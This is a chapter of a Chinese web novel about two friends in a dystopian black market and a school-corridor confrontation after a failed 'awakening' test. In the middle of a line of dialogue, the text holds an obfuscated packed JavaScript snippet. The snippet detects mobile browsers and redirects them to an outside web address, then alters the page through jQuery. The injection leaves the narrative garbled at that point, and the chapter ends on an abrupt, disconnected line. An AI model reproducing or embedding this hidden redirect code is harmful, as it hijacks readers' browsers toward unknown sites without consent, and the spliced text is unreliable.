黑市的路没有一条是平的，坑坑洼洼的巷子被两边违章搭建的铁皮棚挤得只剩一条缝，头顶上晾着各家各户的衣服和被单，风一吹就鼓起来，像一面面灰扑扑的旗。 凌芮走在靠马路的那一侧，让伊奥走里面，这是她的习惯，从十二岁就养成了，那时候伊奥的腿还没开始麻。 但她总觉得应该挡在外面，替她挡住巷口突然冲出来的野狗，或者半空中掉下来的建筑废料。 今天她走在外侧的同时，还在东张西望。 不是平时那种，看看周围有没有巡管员的警惕，她的目光从每个穿白衣服的人身上扫过，往每个被风吹起来的门帘后面探进去，从每扇半开的车窗里寻找一抹不存在的白色。 伊奥注意到了，但伊奥什么都没说，她只是安静地走在凌芮旁边，手指轻轻搭在凌芮的手肘上，偶尔在她快要撞上路灯杆的时候轻轻拉一下。 “你在找什么？”伊奥终于开口，语气平淡得像在问今天会不会下雨。 “没找什么，看看周围有没有新开的铺子。”凌芮把目光从街对面收回来，装作对路边一个卖旧书的摊子产生了浓厚的兴趣，那个书摊她上周才去过，老头还欠她半本书。 “你在找白制服。” “没有。” “你刚才差点撞上那个卖杂粮饼的推车。” “那是因为他推得太快了。” “他推得不快，是你根本没看路。” 凌芮没有反驳，她把手插进口袋里，继续往前走，脚步比刚才故意放慢了一点。 伊奥说得对，她根本没看路，她看的全是跟路没关系的东西。 一个穿浅色外套的年轻男人从巷口闪过，她脖子转过去的时候差点没来得及转回来。 不是他，那件衣服是米色的，不是白色。 浅色外套的年轻男人走路的时候在低头看通讯器，差点踩到路边积水。那个人就不会这样，他走路的时候只会笔直地往前走。 见凌芮还有些心不在焉，伊奥轻轻叹了口气，然后她忽然停住了。 “前面有个摊子。”伊奥说，手指指向路边一个卖手工发饰的小推车。 小推车是铁皮焊的，上面铺着一块褪色的深蓝绒布，布上别着几十个发夹和发圈，大部分是旧货翻新的，珠子有些掉了，金属扣有些生锈，但其中有几个是新做的，丝带颜色鲜亮，在黑市灰扑扑的背景里格外扎眼。 推车后面坐着一个年轻女人，正在往一个发夹上缝珠子，手指很巧，针脚细密。 凌芮看了一眼就准备往前走，她对发饰没有兴趣，她的头发从来都是随便抓两把就出门。 “等一下。”伊奥没有跟她走，而是站在推车前，低头仔细看着那排发饰，她的手指从几个发夹上轻轻划过，最后停在其中一个。 那是一个银色的小发夹，上面缀着一朵用丝带编的小白花，花瓣只有指甲盖大小，做工不精致，丝带边缘还有一点没剪干净的线头。 但花型好看，简单，不张扬，和她窗台上那株野花有几分相似。 伊奥把发夹拿起来，对着光看了看，然后问摊主多少钱。 凌芮走回来，看了一眼发夹，又看了一眼伊奥的头发，“好看，衬你，老板多少钱？” “不是给我买的，是给你。” “我不需要发饰，我头发抓两把就出门了。” “所以你需要。”伊奥把发夹翻过来看了看背面，确认金属扣是好的，然后抬头看凌芮，“你今天穿了最好看的夹克，还压了头发，万一在路上碰到什么人，你希望他看到你头发是乱的吗？” 凌芮张了张嘴，她本来想说“我压不压头发，跟碰不碰到谁没关系”，但话到嘴边咽回去了。 因为伊奥说的每一个字都是对的，她今早对着破镜子折腾了半天，她比谁都清楚自己在干什么。 “多少钱？”伊奥问摊主。 摊主报了个数，不多，但也算不上便宜。 在黑市，这笔钱可以买好几个杂粮饼，或者在老伍那里凑够小半盒药的零头。 伊奥从口袋里掏出一个小布包，里面是她平时攒的零钱，她数出几枚硬币，一枚一枚排在推车边上。 凌芮伸手拦住她的手腕，“伊奥，别买，这钱你留着。” “这是我的钱，我想怎么花就怎么花。” “那用我的，我来买。” 伊奥把凌芮的手从自己手腕上拿开，继续把硬币排好，推到摊主面前，“今天是纪念日。” 凌芮有些迷茫，“什么纪念日？” “今天是好朋友纪念日，也是我们认识第五年，义务教育学校走廊里，你站在我旁边，跟那个推我的男生对峙，我知道的，你当时是在替我出头，对我来说那是第一次有家人以外的人替我挡在前面。”伊奥把发夹从摊主手里接过来，转过身面对凌芮。 她的个头比凌芮矮一点，需要微微仰头才能看到凌芮的眼睛，她伸手把发夹别在凌芮的头发侧面，别完了还退后半步看了看效果。 “从那天起你就在替我挡，这五年我一直在看你的后脑勺，送个发夹给你正面的机会不多，你就当给我个面子。” 凌芮站在原地，手停在半空中。 她想说什么，但是嗓子有点干。 她抬手摸了摸头发上的发夹，丝带花瓣贴着她的指腹，很软，比她这辈子摸过的任何东西都软。 她低头看了一眼伊奥手里那个空了一半的小布包，然后伸手把布包从伊奥手里拿过来，从自己口袋里掏出几枚硬币塞进去，重新系好放回伊奥手里。 “下次别乱花钱，你的钱留着买书。” “书可以借，发夹不能借。”伊奥把布包收回口袋，拍了拍，然后重新挽住凌芮的手肘，“走吧，你继续找白制服，我看着路。” 凌芮没有反驳。 她继续走在靠马路的那一侧，继续东张西望，但她的手指会时不时抬起来碰一下头上的发夹，确认它还在。 发夹很小，别在头发上几乎没什么重量，但她总觉得头偏向左边的时候能感觉到一丝很淡的凉意，是金属扣贴着皮肤的那种凉。 走到过渡地带那条主干道上时，伊奥拉了拉她的袖子，“那边花坛旁边，穿深蓝外套的人，已经看你两眼了。” “人家可能是在看路。” “看路不需要回头，她走过去了还回头看了你一眼。” “你是我的保镖，还是我的八卦记者。” “我是你的朋友，你难得打扮一次，总要有人帮你统计回头率。”伊奥说完自己先笑了。 凌芮瞪她一眼，但没绷住，也跟着笑了一声，然后抬手摸了摸发夹，下巴微微抬起来一点，走路的时候，落地的声音比平时更脆了。 她想起伊奥说今天是纪念日。 其实不是。 她们真正第一天见面是在夏天，那是伊奥刚转学过来，十二岁马上要进行筛选测试才转学。 多么稀奇。 当时她因为跟老师顶嘴被罚站走廊，正百无聊赖地靠在墙上数地砖的裂缝。 刚数了没几个，就看到老师领着一个女生从校门口走过来。 转学生。 这种事在黑市边缘的公立学校比两颗头的青蛙还稀奇，能在快筛选测试之前插进来的，要么是家里有点关系，要么是档案上有什么不方便明说的东西。 凌芮当时只觉得这个女生走路很轻，脚步踩在落叶上几乎没有声响，低着头，浅色的头发垂下来遮住半边脸，双手抱着一个旧书包抱在胸前，仿佛生怕被别人抢走。 凌芮靠在墙上，心想这个转学生大概撑不过一个月。 黑市边缘的公立学校不是什么好地方，每个班都有几个专门欺负新面孔的刺头，像她这种一看就好欺负的长相，简直是在脸上写着“来找我麻烦”。 她是这么想的，果然几个月后的筛选测试上就被她撞到了。 凌芮站在伊奥旁边，伊奥一下就摔进凌芮怀里。 那个推人的男生她认识，隔壁班的，家里有人在采集工厂做小主管，平时在走廊里横着走，专挑不敢吭声的下手。 刚才测试结束的铃声响过，所有人都在往外走，他从后面推了伊奥一把，推完还笑，说转学生挡路了。 伊奥被推得往前踉跄了一步，摔倒在凌芮怀里。 凌芮往前迈了半步，刚好接住她，也许不是刚好，也许她本来就打算往前走的，只是还没想好走过去要干什么，伊奥就已经摔过来了。 伊奥站稳后从她怀里退出来，低着头，把书包带子往上提了提，小声说了句“谢谢”。 凌芮看了她一眼，然后抬起头，目光越过人群锁定了那个男生的后脑勺。 那个男生正往走廊另一头走，脚步轻快，显然不觉得自己做了什么需要负责的事，周围几个正要离开的学生放慢了脚步，等着看热闹。 凌芮没有叫住他，她松开伊奥的手，快步绕到那个男生前面，正好撞上他的肩膀，这一下撞得不重，但角度很准，刚好让那个男生往后踉了半步。 “你干嘛？”男生站稳后瞪她。 凌芮站在原地，双手插在口袋里，语气平得像在陈述一个事实，“你撞到我了。” “我什么时候撞你了？是你自己撞上来的。” “你刚才从后面过来的时候撞到我了，我肩膀现在还疼。”凌芮揉了揉自己的左肩，表情认真。 男生的脸色变了一下。他看看凌芮，又看看旁边围观的同学，声音提高了半度，“凌芮，你是不是有毛病？我根本没碰到你。” “你碰到了，你不信可以问他们。”凌芮朝旁边围观的人群努了努下巴，围观的人没有一个站出来说话，但也没有一个走开。 “你是不是在替那个转学生出头？”男生压低了声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590490|205333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，语气里带着威胁。 “不是，她的事她自己会说，我说的是你撞到我这件事，你撞了人，不道歉就想走？”凌芮歪着头看他。 走廊里的人还没散完，有几个已经在交头接耳，他看到自己班上的一个女生正往这边看，脸色更难看了。 男生的脸色变了一下，他看看凌芮，又看看旁边围观的同学，声音提高了半度，但语气里已经带上了一丝不太确定的东西，“凌芮，我没空跟你闹。” “我也没跟你闹，你撞了人，道个歉的事，说完各走各的。”凌芮把手从口袋里抽出来，活动了一下手指，像是在做一件很日常的事。 她比男生矮了小半个头，但她站着的样子，像是她才是俯视的那个人。 周围几个学生认出了她，交头接耳的声音像水面上的涟漪一样扩散开来。 走廊另一边，几个高年级的女生放慢了脚步，其中一个用胳膊肘捅了捅同伴，小声说了句什么。 凌芮在黑市边缘的公立学校不算无名之辈。 她的名声大概可以分成两半，一半是老师们头疼的对象，上课顶嘴，迟到早退，罚站的时候还能跟路过的人聊天。 另一半是学生们不太敢惹的存在，从入学第一年把两个高年级男生堵在厕所门口，逼他们给被欺负的低年级道歉开始，她就上了某种不成文的名单。 名单上的人不多，有打架狠的，有家里背景硬的，还有她这种，成绩不怎么样，但混不溜秋的让人没办法的。 她能进这个名单还有一个原因，很多人都觉得她会觉醒。 她的神经反应速度在体能测试里比同龄人快一截，情绪感知力的课堂评估分数高到不正常，连负责觉醒筛查预评估的那个老□□都说过一句，“这孩子大概不用等通知，直接准备报到”。 所以平时她横着走，没人拦，没有人想惹一个未来的觉醒者。 但今天不一样。 今天的筛选测试刚刚结束，结果已经出来了。 凌芮站在这里，就意味着她没有通过。 她没有觉醒。 走廊里那些看热闹的目光里，除了看戏的期待，还多了一层更微妙的东西，像是一群人同时确认了一个之前不敢确认的念头：原来她也不过如此。 名叫科尔特的男生显然也想到了这一层。 他的眼神从凌芮脸上移开，扫了一眼旁边围观的几个同学，然后笑了一声，像是某种被压了太久终于找到反击缝隙的得意。 “我想起来了，你不是今天刚被测出来吗，觉醒失败？”他把“觉醒失败”四个字咬得很重，像是要把这几个字嚼碎了再吐在地上，“以前横着走，我们都让你三分，现在你也配？” 走廊里的空气像被抽走了一层。 旁边有人倒吸了一口凉气，有人往后退了半步。 跟在科尔特后面的两个同伴没有上前，既不帮腔，也不走开，眼神在凌芮和男生之间来回跳。 他们是来看热闹的。 凌芮没有动。 她的双手重新插回口袋里，肩膀微微放松，站姿比刚才更松弛了一点。 她歪着头看他，像是在看一只突然发现自己会叫的狗。 而这个站在她面前的科尔特，不管她觉醒不觉醒，从来都不是她的对手，凌芮心里甚至有一丝无聊的失望，像等了很久的包袱抖出来发现一点也不好笑。 “你试试。”她说。 只有三个字，语气不重，甚至带着一点懒洋洋的随意。 她的嘴角还挂着那丝惯常的弧度，似笑非笑，让人分不清她是在挑衅还是在开玩笑。 但她的眼睛没有笑。那双深棕色的眼睛在走廊昏暗的灯光下显得格外安静，安静到让人发毛。 科尔特的嘴张开了一下，又合上。 他想说什么，但发现自己喉咙里没有声音。 他刚才以为觉醒失败的凌芮会变成一个可以被随便拿捏的软柿子，但站在他面前的这个人，语气神态和眼神，没有一丝一毫的改变。 她还是那个在操场上把高年级骂哭的人，还是那个被罚站走廊还能跟路过的人聊天的人，觉醒失败好像没有在她身上留下任何伤口，至少表面上看不出来。 他忽然意识到，也许他从来不知道凌芮到底怕什么。 旁边有人在窃窃私语，声音很小，但有几声笑是冲着凌芮的，还有几声是冲着他的。 他意识到自己站在这里已经够久了，久到那些看热闹的目光开始变得不耐烦，久到他额角有一滴汗正在往下滑。 “走了。”他回头冲身后的人嘟囔了一声，声音含糊，他的两个同伴松了口气，赶紧跟上。 走廊里看热闹的人开始散去，凌芮转过身。 伊奥站在几步之外，绞着校服的下摆，轻声问她：“你也被分到观察区了吗？” …… 就在这时，巷口拐角处突然冲出一辆货运推车。